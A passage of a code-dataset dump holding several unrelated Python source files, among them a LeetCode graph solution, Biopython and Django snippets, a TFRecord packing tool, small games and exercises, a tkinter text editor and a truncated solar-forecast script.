dfs(node):\n cnt = 1\n vis.add(node)\n for child in g[node]:\n if child not in vis:\n cnt += dfs(child) \n return cnt\n for u,v in edges:\n g[u].append(v)\n g[v].append(u)\n \n for i in range(n):\n if i in vis:\n continue\n cur = dfs(i)\n res -= cur * (cur - 1) // 2\n return res\n","repo_name":"samyogita/LeetCode-problems","sub_path":"count_unreachable_pairs_of_nodes_in_an_undirected_graph.py","file_name":"count_unreachable_pairs_of_nodes_in_an_undirected_graph.py","file_ext":"py","file_size_in_byte":653,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"73848391204","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Sep 17 15:06:32 2015\n\n@author: niyuli\n\"\"\"\n\nimport Bio\nimport Bio.Seq\nimport Bio.Alphabet.IUPAC\nimport Bio.SeqIO\nimport Bio.AlignIO\nimport Bio.Entrez\nimport random\n\nprint (Bio.__version__)\n\nmyseq = Bio.Seq.Seq(\"CAT CAT CAT UTC UUG UCG UUG CCU CTU GUG UUG TTC UTG\")\n\nmyseq = Bio.Seq.Seq(str(myseq), Bio.Alphabet.IUPAC.IUPACUnambiguousDNA())\n\nmyseq = str(myseq).replace(\" \", '')\nmyseq = Bio.Seq.Seq(str(myseq), Bio.Alphabet.IUPAC.IUPACUnambiguousDNA())\n\nprint (myseq.translate() )\nprint ('whole sequnce', myseq)\nprint (\"Every fourth necleotide: \", myseq[::4])\n\n\nproteinseq = myseq.translate()\nreversecomplement = myseq.reverse_complement()\nrevcomp_protein = reversecomplement.translate()\n\nprint(\"rev complement\", reversecomplement)\nprint (\"revcomp_protien\", reversecomplement.translate())\n\nrevcomp_protein = revcomp_protein[: -3]\nprint (\"revcomp --> protein minus 3\", revcomp_protein)\n\n\n\nmyseqrecord = Bio.SeqRecord.SeqRecord(id=\"MyFirstSeq\", description = \"This is my first seq record\",\n seq=myseq)\nprint(myseqrecord)\n\nmyseqrecord.format(\"fasta\")\nprint(myseqrecord.format(\"fasta\"))\nprint(myseqrecord.format(\"genbank\")) \nprint(myseqrecord.format(\"seqxml\"))\n\n\nmyseq = [\"A\",\"T\",\"C\",\"G\"]*25\nseq_record_list = []\nfor i in range(100):\n random.shuffle(myseq)\n \n myseq_object = Bio.Seq.Seq(\"\".join(myseq), Bio.Alphabet.IUPAC.IUPACUnambiguousDNA())\n \n seq_record = Bio.SeqRecord.SeqRecord(id = str(i), description = '', seq = myseq_object)\n seq_record_list.append(seq_record)\n \ncount = Bio.SeqIO.write(seq_record_list, \"l31_random_seqs.fna\", \"fasta\") \n\n\ninput_file = Bio.SeqIO.parse(\"l31_random_seqs.fna\", \"fasta\")\n\nfor record in input_file:\n print(record.format(\"fasta\"), end='')\n\n\nmy_alignment = Bio.AlignIO.read(\"l31_random_seqs.fna\", \"fasta\")\nprint(my_alignment)\n\nBio.AlignIO.write(my_alignment, \"l31_random_seqs.stk\", \"stockholm\")\n\n\n\n\n","repo_name":"danielnee2/Bootcamptest","sub_path":"biopython.py","file_name":"biopython.py","file_ext":"py","file_size_in_byte":1974,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"10598216528","text":"from django.conf.urls import include\nfrom django.urls import path\n\nfrom . import views\n\nurlpatterns = [\n path('', views.reference_list, name='reference_list'),\n path('reference//', views.reference_detail, name='reference_detail'),\n path('reference/new/', views.reference_new, name='reference_new'),\n path('reference//edit', views.reference_edit, name='reference_edit'),\n path('fav//', views.favourite_add, name='favourite_add'),\n]","repo_name":"BlaNaoZ/jjbioenergy","sub_path":"app/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":469,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"23694018935","text":"import agb.types\n\npokedex_order_type = agb.types.FixedSizeArrayType(\n 'u16',\n lambda project, context: len(project.constants['species']) - 1\n)\n\npokedex_entry_string_type = agb.types.StringType(box_size=(35, 255))\n\npokdex_entry_string_pointer_type = agb.types.PointerType(\n 'pokedex.entry_string',\n lambda project, context, parents: (f'pokedex_entry_{context[-2]}', 0, False)\n)\n\npokedex_genus_string_type = agb.types.StringType(fixed_size=12)\n\npokdex_entry_type = agb.types.Structure([\n ('genus', 'pokedex.genus_string', 0),\n ('height', 'u16', 0),\n ('weight', 'u16', 0),\n ('entry_string_0', 'pokedex.entry_string_pointer', 0),\n ('entry_string_1', 'pokedex.entry_string_pointer', 0),\n ('field_14', 'u16', 0),\n ('pokemon_scale', 'u16', 0),\n ('pokemon_displace', 'u16', 0),\n ('trainer_scale', 'u16', 0),\n ('trainer_displace', 'u16', 0),\n ('field_1E', 'u16', 0)\n])\n\npokedex_entries_type = agb.types.FixedSizeArrayType(\n 'pokedex.entry',\n lambda project, context: 386 + 1\n)\n\nmodels_to_export = {\n 'pokedex_order' : pokedex_order_type,\n 'pokedex.entry_string' : pokedex_entry_string_type,\n 'pokedex.entry_string_pointer' : pokdex_entry_string_pointer_type,\n 'pokedex.genus_string' : pokedex_genus_string_type,\n 'pokedex.entry' : pokdex_entry_type,\n 'pokedex_entries' : pokedex_entries_type,\n}","repo_name":"dfuchsgruber/Violet","sub_path":"Violet/models/pokedex.py","file_name":"pokedex.py","file_ext":"py","file_size_in_byte":1354,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"52"} +{"seq_id":"38507413071","text":"import argparse\nimport datetime\nimport os\nimport shutil\nimport tempfile\n\nimport numpy as np\nimport pandas as pd\nimport tensorflow as tf\nimport toolz as t\n\nfrom .. import io as rio\nfrom .. import utils as rutils\nfrom ..io import DEFAULT_CHANNELS\n\nTFRECORD_COMPRESSION = tf.python_io.TFRecordCompressionType.GZIP\nTFRECORD_OPTIONS = tf.python_io.TFRecordOptions(TFRECORD_COMPRESSION)\nVALID_DATASETS = {'train', 'test'}\nVALID_STRATEGIES = {'random', 'by_exp_plate_site'}\n\n### TensorFlow Helpers\n\n\ndef bytes_feature(value):\n return tf.train.Feature(bytes_list=tf.train.BytesList(value=[value]))\n\n\ndef string_feature(value):\n return bytes_feature(value.encode('utf-8'))\n\n\ndef int64_feature(value):\n return tf.train.Feature(int64_list=tf.train.Int64List(\n value=rutils.wrap(value)))\n\n\ndef float_feature(value):\n return tf.train.Feature(float_list=tf.train.FloatList(\n value=ruitls.wrap(value)))\n\n\n### Conversion to TFExample and TFRecord logic\n\n\ndef dict_to_tfexample(site):\n \"\"\"\n Takes a dictionary of a site with all the metadata and the `image` data.\n\n Returns a TFExample\n \"\"\"\n\n features = {\n 'image': bytes_feature(site['image'].tostring()),\n 'well': string_feature(site['well']),\n 'well_type': string_feature(site['well_type']),\n 'experiment': string_feature(site['experiment']),\n 'plate': int64_feature(site['plate']),\n 'site': int64_feature(site['site']),\n 'cell_type': string_feature(site['cell_type'])\n }\n\n # Handle case where sirna is not known (test)\n if site[\"sirna\"] is not None:\n features[\"sirna\"] = int64_feature(site[\"sirna\"])\n\n return tf.train.Example(features=tf.train.Features(feature=features))\n\n\ndef _pack_tfrecord(base_path,\n sites,\n dest_path,\n channels=DEFAULT_CHANNELS):\n if not dest_path.startswith('gs://'):\n os.makedirs(os.path.dirname(dest_path), exist_ok=True)\n with tf.python_io.TFRecordWriter(\n dest_path, options=TFRECORD_OPTIONS) as writer:\n for site in sites:\n data = rio.load_site(\n base_path=base_path,\n channels=channels,\n **rutils.select_keys(site, ('dataset', 'experiment', 'plate',\n 'well', 'site')))\n example = dict_to_tfexample(t.assoc(site, 'image', data))\n writer.write(example.SerializeToString())\n\n\n### Strategies to pack the TFRecords differently and some helper functions\n#\n# Each strategy takes the metadata DataFrame and returns a list of\n# dictionaries containing `dest_path` and `sites` where\n# `dest_path` - the full path of the destination TFRecord file\n# `sites` - a list of all of the sites that should be packed into the\n# destination path. Each `site` is a row, in dictionary form,\n# from the metadata dataframe.\n#\n\n\ndef _dataset_rs_dict(seed):\n \"\"\"Returns a dictionary of random states keyed by dataset.\n A seed for every dataset is created regardless of if it will be\n processed. This is done to guarantee determinism of the\n randomization invariant of what datasets are being processed.\n \"\"\"\n rs = np.random.RandomState(seed)\n high = 2**32 - 1\n return {\n ds: np.random.RandomState(rs.randint(high))\n for ds in sorted(VALID_DATASETS)\n }\n\n\ndef _correct_sirna_dtype(row):\n if np.isnan(row['sirna']):\n row['sirna'] = None\n else:\n row['sirna'] = int(row['sirna'])\n return row\n\n\ndef _random_partition(metadata_df,\n dest_path,\n sites_per_tfrecord=308,\n random_seed=42):\n \"\"\"\n Randomly partitions each dataset into multiple TFRecords.\n \"\"\"\n # make groupby's determinisic\n metadata_df = metadata_df.sort_values(\n ['dataset', 'experiment', 'plate', 'well', 'site'])\n # get random states to make randomizations determinisic\n rs_dict = _dataset_rs_dict(random_seed)\n\n to_pack = []\n for dataset, df in metadata_df.groupby('dataset'):\n df = (df.sort_values(['experiment', 'plate', 'well', 'site'])\n .sample(frac=1.0, random_state=rs_dict[dataset]))\n rows = [_correct_sirna_dtype(row) for row in df.to_dict(orient='row')]\n sites_for_files = t.partition_all(sites_per_tfrecord, rows)\n dataset_path = os.path.join(dest_path, 'random-{}'.format(random_seed), dataset)\n for file_num, sites in enumerate(sites_for_files, 1):\n dest_file = os.path.join(dataset_path, \"{:03d}.tfrecord\".format(file_num))\n to_pack.append({'dest_path': dest_file, 'sites': sites})\n return to_pack\n\n\ndef _by_exp_plate_site(metadata_df, dest_path, random_seed=42):\n \"\"\"\n Groups by experiment, plate, and packs each site into individual TFRecords.\n \"\"\"\n # make groupby's determinisic\n metadata_df = metadata_df.sort_values(\n ['dataset', 'experiment', 'plate', 'well', 'site'])\n # get random states to make randomizations determinisic\n rs_dict = _dataset_rs_dict(random_seed)\n\n to_pack = []\n for (dataset, exp, plate, site), df in metadata_df.groupby(\n ['dataset', 'experiment', 'plate', 'site']):\n df = (df.sort_values(['experiment', 'plate', 'well', 'site'])\n .sample(frac=1.0, random_state=rs_dict[dataset]))\n rows = [_correct_sirna_dtype(row) for row in df.to_dict(orient='row')]\n\n dest_file = os.path.join(dest_path, 'by_exp_plate_site-{}'.format(random_seed),\n \"{}_p{}_s{}.tfrecord\".format(exp, plate, site))\n to_pack.append({'dest_path': dest_file, 'sites': rows})\n return to_pack\n\n\ndef _sites_df(i, ix):\n return pd.DataFrame([i] * len(ix), index=ix, columns=['site'])\n\n\n### Main entry point and CLI logic\n\n\ndef pack_tfrecords(images_path,\n metadata_df,\n num_workers,\n dest_path,\n strategies=['random', 'by_exp_plate_site'],\n channels=DEFAULT_CHANNELS,\n sites_per_tfrecord=308,\n random_seeds=[42],\n runner='dask',\n project=None,\n datasets=None):\n if datasets is None:\n datasets = [\n ds.strip('/') for ds in tf.gfile.ListDirectory(images_path)\n if ds.strip('/') in VALID_DATASETS\n ]\n\n # Only consider metadata for the datasets we care about\n metadata_df = metadata_df[metadata_df.dataset.isin(datasets)]\n # only pack images for the treatment wells, not the controls!\n metadata_df = metadata_df[metadata_df.well_type == \"treatment\"]\n\n strategies = set(strategies)\n\n if len(strategies - VALID_STRATEGIES) > 0:\n raise ValueError(\n 'invalid strategies: {}. You may only provide a subset of {}'.format(strategies, VALID_STRATEGIES)\n )\n\n to_pack = []\n for random_seed in random_seeds:\n if 'random' in strategies:\n to_pack += _random_partition(\n metadata_df,\n dest_path,\n random_seed=random_seed,\n sites_per_tfrecord=sites_per_tfrecord)\n\n if 'by_exp_plate_site' in strategies:\n to_pack += _by_exp_plate_site(\n metadata_df, dest_path, random_seed=random_seed)\n\n if runner == 'dask':\n import dask\n import dask.bag\n\n print('Distributing {} on dask'.format(len(to_pack)))\n to_pack_bag = dask.bag.from_sequence(to_pack, npartitions=len(to_pack))\n (to_pack_bag\n .map(lambda kw: _pack_tfrecord(base_path=images_path,\n channels=channels,\n **kw))\n .compute(num_workers=num_workers))\n return [p['dest_path'] for p in to_pack]\n else:\n print('Distributing {} on {}'.format(len(to_pack), runner))\n run_on_dataflow(to_pack, dest_path, images_path, channels, runner, project)\n return None\n\n\ndef run_on_dataflow(to_pack, dest_path, images_path, channels, runner, project):\n\n import apache_beam as beam\n\n options = {\n 'staging_location':\n os.path.join(dest_path, 'tmp', 'staging'),\n 'temp_location':\n os.path.join(dest_path, 'tmp'),\n 'job_name': ('rxrx1-' + os.getlogin().replace('.', '-') + '-' +\n datetime.datetime.now().strftime('%y%m%d-%H%M%S')),\n 'max_num_workers':\n 600, # CHANGE AS NEEDED\n 'machine_type':\n 'n1-standard-4',\n 'save_main_session':\n True,\n 'setup_file': (os.path.join(\n os.path.dirname(os.path.abspath(__file__)), '../../setup.py')),\n 'runner':\n runner,\n 'project':\n project\n }\n opts = beam.pipeline.PipelineOptions(flags=[], **options)\n with beam.Pipeline(runner, options=opts) as p:\n (p\n | 'find_images' >> beam.Create(to_pack)\n | 'pack' >> beam.FlatMap(\n lambda kw: _pack_tfrecord(base_path=images_path,\n channels=channels,\n **kw))\n )\n if runner == 'dataflow':\n print(\n 'Submitting job ... Please monitor at https://console.cloud.google.com/dataflow'\n )\n\n\ndef cli():\n parser = argparse.ArgumentParser(\n formatter_class=argparse.RawTextHelpFormatter,\n description=\"Packs the raw PNG images into TFRecords.\")\n parser.add_argument(\"--raw-images\", type=str, help=\"Path of the raw images\",\n default=rio.DEFAULT_IMAGES_BASE_PATH)\n parser.add_argument(\n \"--metadata\", type=str, help=\"Path to the metadata directory\",\n default=rio.DEFAULT_METADATA_BASE_PATH)\n parser.add_argument(\n \"--num-workers\",\n type=int,\n default=None,\n help=\"Number of workers to be writing TFRecords. Defaults to number of cores.\"\n )\n parser.add_argument(\n \"--random-seeds\",\n type=int,\n nargs='+',\n default=[42],\n help=\"The seed used to make the sorting determistic. Embedded in the dir name to allow multiple folds to be created.\"\n )\n parser.add_argument(\n \"--sites-per-tfrecord\",\n type=int,\n default=1500,\n help=\"Only used with the random strategy, indicates how many site images you want in a single TFRecord\"\n )\n parser.add_argument(\n \"--strategies\",\n nargs='+',\n choices=VALID_STRATEGIES,\n default=['random', 'by_exp_plate_site'],\n help=\"\"\"What strategies to use to pack up the records:\n\\t`random` - Randomly partitions each dataset into multiple TFRecords.\n\\t`by_exp_plate_site` - Groups by experiment, plate, and packs each site into individual TFRecords.\n \"\"\")\n parser.add_argument(\n \"--dest-path\",\n type=str,\n default=\"./tfrecords\",\n help=\"Destination directory of where to write the tfrecords\")\n parser.add_argument(\n \"--runner\",\n type=str,\n default=\"dask\",\n choices={'dask', 'dataflow'},\n help=\"Specify one of DirectRunner, dataflow, or dask\")\n parser.add_argument(\n \"--project\",\n type=str,\n default=None,\n help=\"If using dataflow, the project to bill\")\n args = parser.parse_args()\n if args.runner == 'dataflow':\n if not args.project:\n raise ValueError('When using dataflow, you need to specify project')\n\n metadata_df = rio.combine_metadata(args.metadata)\n if args.runner == 'dask':\n from dask.diagnostics import ProgressBar\n ProgressBar().register()\n\n pack_tfrecords(\n images_path=args.raw_images,\n metadata_df=metadata_df,\n dest_path=args.dest_path,\n strategies=args.strategies,\n sites_per_tfrecord=args.sites_per_tfrecord,\n random_seeds=args.random_seeds,\n num_workers=args.num_workers,\n runner=args.runner,\n project=args.project)\n\n\nif __name__ == '__main__':\n cli()\n","repo_name":"recursionpharma/rxrx1-utils","sub_path":"rxrx/preprocess/images2tfrecords.py","file_name":"images2tfrecords.py","file_ext":"py","file_size_in_byte":12094,"program_lang":"python","lang":"en","doc_type":"code","stars":44,"dataset":"github-code","pt":"52"} +{"seq_id":"18538556015","text":"# 입력 예시\n# https://lagooni.tistory.com/entry/Python-%EB%B0%B1%EC%A4%80-%ED%8A%B8%EB%A6%AC-%EC%88%9C%ED%9A%8C-%EC%A0%84%EC%9C%84-%EC%88%9C%ED%9A%8C-%EC%A4%91%EC%9C%84-%EC%88%9C%ED%9A%8C-%ED%9B%84%EC%9C%84-%EC%88%9C%ED%9A%8C\nclass Node:\n def __init__(self, data, left_node, right_node):\n self.data = data\n self.left_node = left_node\n self.right_node = right_node\n\n\n# 전위 순회: 현재 노드 -> 왼쪽 서브트리 -> 오른쪽 서브트리\ndef preorder(node):\n print(node.data, end=\" \")\n if node.left_node is not None:\n preorder(tree[node.left_node])\n if node.right_node is not None:\n preorder(tree[node.right_node])\n\n\n# 중위 순회: 왼쪽 서브트리 -> 현재 노드 -> 오른쪽 서브트리\ndef inorder(node):\n if node.left_node is not None:\n inorder(tree[node.left_node])\n print(node.data, end=\" \")\n if node.right_node is not None:\n inorder(tree[node.right_node])\n\n\n# 후위 순회: 왼쪽 서브트리 -> 오른쪽 서브트리 -> 현재 노드\ndef postorder(node):\n if node.left_node is not None:\n postorder(tree[node.left_node])\n if node.right_node is not None:\n postorder(tree[node.right_node])\n print(node.data, end=\" \")\n\n\nn = int(input())\ntree = {}\n# tree의 인덱스는 KEY로, 저장되�� 값은 VALUE로 dictionary에 저장\n# {\"A\" : (\"B\",\"C\")}\n# 👉 의미 : A가 부모인 노드가 B, C / A의 자식이 B, C\nfor i in range(n):\n data, left_node, right_node = input().split()\n if left_node == '.':\n left_node = None\n if right_node == '.':\n right_node = None\n tree[data] = Node(data, left_node, right_node)\n\npreorder(tree['A'])\nprint()\ninorder(tree['A'])\nprint()\npostorder(tree['A'])\n","repo_name":"kkm0406/AlgorithmBOJ","sub_path":"트리/Tree Traversal.py","file_name":"Tree Traversal.py","file_ext":"py","file_size_in_byte":1735,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"22672889473","text":"import random\n\nclass NumberGuessingGame:\n def __init__(self):\n self.secret_number = random.randint(1, 100)\n self.attempts = 0\n self.max_attempts = 10\n\n def get_user_guess(self):\n while True:\n try:\n guess = int(input(\"Enter your guess (1-100): \"))\n if 1 <= guess <= 100:\n return guess\n else:\n print(\"Please enter a number between 1 and 100.\")\n except ValueError:\n print(\"Please enter a valid number.\")\n\n def play(self):\n print(\"Welcome to the Number Guessing Game!\")\n print(\"Try to guess the secret number between 1 and 100.\")\n\n while self.attempts < self.max_attempts:\n guess = self.get_user_guess()\n self.attempts += 1\n\n if guess < self.secret_number:\n print(\"Too low! Try again.\")\n elif guess > self.secret_number:\n print(\"Too high! Try again.\")\n else:\n print(f\"Congratulations! You guessed the number {self.secret_number} in {self.attempts} attempts.\")\n break\n\n if self.attempts == self.max_attempts:\n print(f\"Sorry, you've run out of attempts. The secret number was {self.secret_number}.\")\n\nif __name__ == \"__main__\":\n game = NumberGuessingGame()\n game.play()\n","repo_name":"ljonesdesign/python-games","sub_path":"guess_number.py","file_name":"guess_number.py","file_ext":"py","file_size_in_byte":1381,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"43845804239","text":"from time import sleep\r\nsaldo = 1500\r\nlimite_diario = 500\r\nextrato = ''\r\nsaques_diarios = 0\r\nmenu = '''Qual operação deseja fazer?\r\n\r\n1 - Depósito\r\n2 - Saque\r\n3 - Extrato\r\n9 - Sair\r\n'''\r\n\r\nwhile True:\r\n print(menu)\r\n opção = int(input('Digite uma operação: '))\r\n if opção == 1:\r\n valor = float(input('\\nInforme o valor que deseja depositar: R$'))\r\n if valor > 0:\r\n saldo += valor\r\n extrato += f'Depósito: R${valor:.2f}\\n'\r\n sleep(1)\r\n print(f'\\nDepósito realizado com sucesso.\\n')\r\n else:\r\n print('\\nOperação inválida. Informe um valor MAIOR que zero.\\n')\r\n elif opção == 2:\r\n if saques_diarios >= 3:\r\n print('\\nFALHOU... Você já usou os 3 saques que tem direito no dia.\\n')\r\n else:\r\n valor = float(input('\\nInforme o valor que deseja sacar: R$'))\r\n if valor > saldo:\r\n print('\\nFALHOU... Saldo insuficiente.\\n')\r\n elif valor > limite_diario:\r\n print('\\nFALHOU... O valor que deseja sacar excede o limite de R$500.\\n')\r\n elif valor <= 500 and saques_diarios <= 3:\r\n sleep(1)\r\n print('\\nCONTANDO...')\r\n sleep(1)\r\n print('\\nSaque realizado com sucesso.\\n')\r\n sleep(1)\r\n saldo -= valor\r\n saques_diarios += 1\r\n extrato += f'Saque: R${valor:.2f}\\n'\r\n elif opção == 3:\r\n print('\\nIMPRIMINDO...')\r\n sleep(2)\r\n print('\\n************ EXTRATO BANCÁRIO ************')\r\n print('Não houve nenhuma movimentação até o momento' if not extrato else extrato)\r\n print(f'\\nSaldo: R${saldo:.2f}\\n')\r\n elif opção == 9:\r\n print('VOLTE SEMPRE!!!')\r\n break\r\n else:\r\n print('\\nOperação inválida... Selecione uma das opções abaixo.\\n')\r\n\r\n","repo_name":"Virardi78/Desafio_Banco","sub_path":"sistema_bancario.py","file_name":"sistema_bancario.py","file_ext":"py","file_size_in_byte":1916,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"19784308376","text":"import tkinter\nimport tkinter.filedialog as fd\nfrom sys import argv, exit\nimport os\nfrom platform import system\nfrom math import floor\nfrom time import sleep\n\ncolorWheel = []\ncolorWheel2 = []\n\n# Logging functions\ndef log(n):\n print(\"[#]\", n)\ndef warn(n):\n print(\"[!]\", n)\ndef die(n):\n print(\"[XX]\", n)\n sleep(5)\n exit(1)\n\n\n# define config file path\nif system() == \"Windows\":\n configPath = \"C:\\\\Program Files\\\\skedit\\\\skeditFiles\\\\skeditConf.txt\"\nelse: # Assuming other operating systems are UNIX-like\n configPath = \"/usr/share/skeditFiles/skeditConf.txt\"\n\n# Checks if the config file exists\ntry:\n configFile = open(configPath)\nexcept FileNotFoundError:\n die(\"skedit configuration missing.\")\n\nconfig = configFile.readlines()\nconfigFile.close()\n\n# get info from config file\ntry:\n fontSize = config[config.index(\"fontSize:\\n\") + 1] \nexcept:\n fontSize = 15\ntry:\n defSize = config[config.index(\"defaultSize:\\n\") + 1]\n defSize = defSize[:-1]\nexcept:\n defSize = \"500x500\"\ntry:\n useDefSize = config[config.index(\"applyDefaultSizeAtStartup:\\n\") + 1]\nexcept:\n useDefSize = \"true\"\ntry:\n # get resources preference from config file\n ignoreRes = config[config.index(\"ignoreResources:\\n\") + 1]\nexcept:\n ignoreRes = \"false\"\nif ignoreRes != \"true\":\n # windows users - this reads the skedit resources file.\n # the formatting for this file mimics the formatting of a *nix .Xresources file.\n if system() == \"Windows\":\n try:\n Xresources = open(\"C:\\\\Program Files\\\\skedit\\\\skeditFiles\\\\skeditResources.txt\")\n colors = Xresources.readlines()\n Xresources.close()\n except FileNotFoundError:\n pass\n # linux users - this reads .Xresources file from your $HOME directory.\n # this means your colors will restore to default if you run skedit as root.\n # to fix this, copy your .Xresources to /root/\n else:\n home = os.environ[\"HOME\"]\n # or, change 'home+\"/.Xresources\"' to '\"yourusername/.Xresources\"' in the follwing line\n try:\n Xresources = open(home+\"/.Xresources\")\n colors = Xresources.readlines()\n Xresources.close()\n except FileNotFoundError:\n pass\n try:\n for i in range(16):\n colorWheel.append([x for x in colors if (\"*.color\" + str(i) + \":\") in x])\n # the worst line of code ever written\n colorWheel2.append((str(colorWheel[i]).replace(\"*.color\" + str(i) + \":\", \"\")).replace(\" \", \"\").replace(\"\\\\n\", \"\").replace(\"['\", \"\").replace(\"']\", \"\"))\n foreground = str([a for a in colors if (\"*.foreground:\") in a]).replace(\" \", \"\")\n foreground = foreground.replace(\"['*.foreground:\", \"\").replace(\"\\\\n']\", \"\")\n background = str([a for a in colors if (\"*.background:\") in a]).replace(\" \", \"\")\n background = background.replace(\"['*.background:\", \"\").replace(\"\\\\n']\", \"\")\n cursor = str([a for a in colors if (\"*.cursorColor:\") in a])\n cursor = cursor.replace(\"['*.cursorColor:\", \"\").replace(\"\\\\n']\", \"\").replace(\" \", \"\")\n except:\n background = '#1c1c1c'\n foreground='#d6d6d6'\n cursor='#d6d6d6'\n pass\nelse:\n print(\"ignoring resources file\")\n\nfilename = \"scratch document\"\n\n# main functions for using editor\n\ndef get_text():\n t = text.get(0.0, tkinter.END).rstrip()\n return t\n\ndef newFile(self):\n global filename\n filename = \"scratch document\"\n text.delete(0.0, tkinter.END)\n root.title(filename+\" - skedit\")\n\ndef save(self):\n global t\n t = get_text()\n with open(filename, 'w') as f:\n f.write(t)\n\ndef saveAs(self):\n global filename\n fn = fd.asksaveasfilename(initialdir=\"~\", title=\"save as\", defaultextension='.txt')\n with open(fn, 'w') as f:\n root.title(fn+\" - skedit\")\n t = get_text()\n try:\n f.write(t)\n except:\n warn(\"unable to save file.\")\n else:\n filename = fn\n\ndef openFile(self):\n global filename\n fn = fd.askopenfilename(title=\"open file\")\n \n try:\n t = open(fn, 'r').read()\n except:\n return\n else:\n filename = fn\n root.title(filename+\" - skedit\")\n text.delete(0.0, tkinter.END)\n text.insert(0.0, t)\n\ndef gotoTop(self):\n text.mark_set(\"insert\", \"%d.%d\" % (0, 0))\n\ndef removeLine(self):\n curLine = float(floor(float(text.index(tkinter.INSERT))))\n text.delete(curLine, curLine+1)\n\ndef helpMenu(self):\n global t\n if root.title() != \"scratch document\":\n save(None)\n t = get_text()\n root.title(\"help - skedit\")\n text.delete(0.0, tkinter.END)\n helpText = \"\"\"Welcome to skedit, the cross-platform, dark-mode by default, simple text editor.\n\nskedit is built with python, and tkinter. source code is available at https://github.com/smhsketch/skedit.\n\nbindings:\n ctrl-o: open a new file\n ctrl-s: save current file\n ctrl-d: save current buffer as\n ctrl-n: new blank buffer\n ctrl-t: go to top of buffer\n ctrl-r: remove current line of buffer\n ctrl-e: exit this help menu and return to your document\"\"\"\n text.insert(0.0, helpText)\n\ndef exitHelp(self):\n if root.title() == \"help - skedit\":\n text.delete(0.0, tkinter.END)\n text.insert(0.0, t)\n root.title(filename+\" - skedit\")\n\n#Tk\nroot = tkinter.Tk()\nroot.title(\"scratch document - skedit\")\n\n#bindings\nroot.bind('', save)\nroot.bind('', newFile)\nroot.bind('', saveAs)\nroot.bind('', openFile)\nroot.bind('', gotoTop)\nroot.bind('', removeLine)\nroot.bind('', helpMenu)\nroot.bind('', exitHelp)\n\ntext = tkinter.Text(root)\nroot.update()\ntext.configure(background=background, fg=foreground, insertbackground=cursor, height=root.winfo_height(), width=root.winfo_width(), bd=0, font=(\"monospace\", fontSize))\nif useDefSize == \"true\\n\":\n root.geometry(defSize)\nroot.maxsize(1500, 1000)\nroot.update()\ntext.focus_set()\n\ntext.pack()\ntry:\n if system() == \"Windows\":\n root.iconphoto(False, tkinter.PhotoImage(file='C:\\\\Program Files\\\\skedit\\\\skeditFiles\\\\icon.png'))\n else:\n root.iconphoto(False, tkinter.PhotoImage(file='/usr/share/skeditFiles/icon.png'))\nexcept:\n pass\n\nroot.mainloop()","repo_name":"smhsketch/skedit","sub_path":"skeditFiles/skedit.py","file_name":"skedit.py","file_ext":"py","file_size_in_byte":6270,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"5080152455","text":"import pandas as pd\nimport numpy as np\nimport os\nimport glob\nimport sys\nfrom tqdm import tqdm\nimport tensorflow.keras.backend as K\nfrom tensorflow.keras.callbacks import EarlyStopping, ModelCheckpoint\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.preprocessing import MinMaxScaler\nfrom tensorflow.keras.models import Sequential,Model ,load_model\nfrom tensorflow.keras.layers import Dense, LSTM, Dropout,Lambda,MaxPooling2D, Conv2D, Flatten, Reshape, Conv1D, MaxPooling1D, Input,LeakyReLU\nfrom sklearn.metrics import mean_squared_error,r2_score\nfrom tensorflow.keras.callbacks import EarlyStopping, ModelCheckpoint, ReduceLROnPlateau\nfrom tensorflow.keras.losses import Huber\nfrom tensorflow.keras.optimizers import Adam\n\ndef preprocess_data (data, is_train=True) :\n temp = data.copy()\n temp = temp[['Hour', 'TARGET', 'DHI', 'DNI', 'WS', 'RH', 'T']]\n if is_train == True : \n temp['Target1'] = temp['TARGET'].shift(-48).fillna(method='ffill') # 다음날 TARGET을 붙인다.\n temp['Target2'] = temp['TARGET'].shift(-48*2).fillna(method='ffill') # 다다음날 TARGET을 붙인다.\n temp = temp.dropna() # 결측값 제거\n return temp.iloc[:-96] # 이틀치 데이터만 빼고 전체\n elif is_train == False : \n # Day, Minute 컬럼 제거\n temp = temp[['Hour', 'TARGET', 'DHI', 'DNI', 'WS', 'RH', 'T']]\n return temp.iloc[-48:, :] # 마지막 하루치 데이터\n\ndef split_xy(dataset, time_steps, y_column):\n x, y = list(), list()\n for i in range(len(dataset)):\n x_end_number = i + time_steps\n y_end_number = x_end_number + y_column\n\n if y_end_number > len(dataset):\n break\n tmp_x = dataset[i:x_end_number]\n tmp_y = dataset[x_end_number:y_end_number,:,-2:] \n x.append(tmp_x)\n y.append(tmp_y)\n return np.array(x), np.array(y)\n\n\n'''\ndef split_xy(dataset, time_steps, y_column):\n x, y1,y2 = list(), list(),list()\n for i in range(len(dataset)):\n x_end_number = i + time_steps\n y_end_number = x_end_number + y_column\n\n if y_end_number > len(dataset):\n break\n tmp_x = dataset[i:x_end_number]\n tmp_y1 = dataset[x_end_number:y_end_number,:,-2] \n tmp_y2 = dataset[x_end_number:y_end_number,:,-1] \n x.append(tmp_x)\n y1.append(tmp_y1)\n y2.append(tmp_y2)\n\n return np.array(x), np.array(y1) ,np.array(y2) \n'''\ndef tilted_loss(q,y,f):\n e = (y-f)\n return K.mean(K.maximum(q*e, (q-1)*e), axis=-1)\n\n#data 준비\ntrain_df = pd.read_csv('C:/data/csv/solar/train/train.csv')\nprint(train_df .shape) #(52560, 9)\nprint(train_df .tail())\nsample = pd.read_csv('C:/data/csv/solar/sample_submission.csv')\n\ntrain_data = preprocess_data(train_df)\nprint(train_data.columns)\n#Index(['Hour', 'TARGET', 'DHI', 'DNI', 'WS', 'RH', 'T', 'Target1', 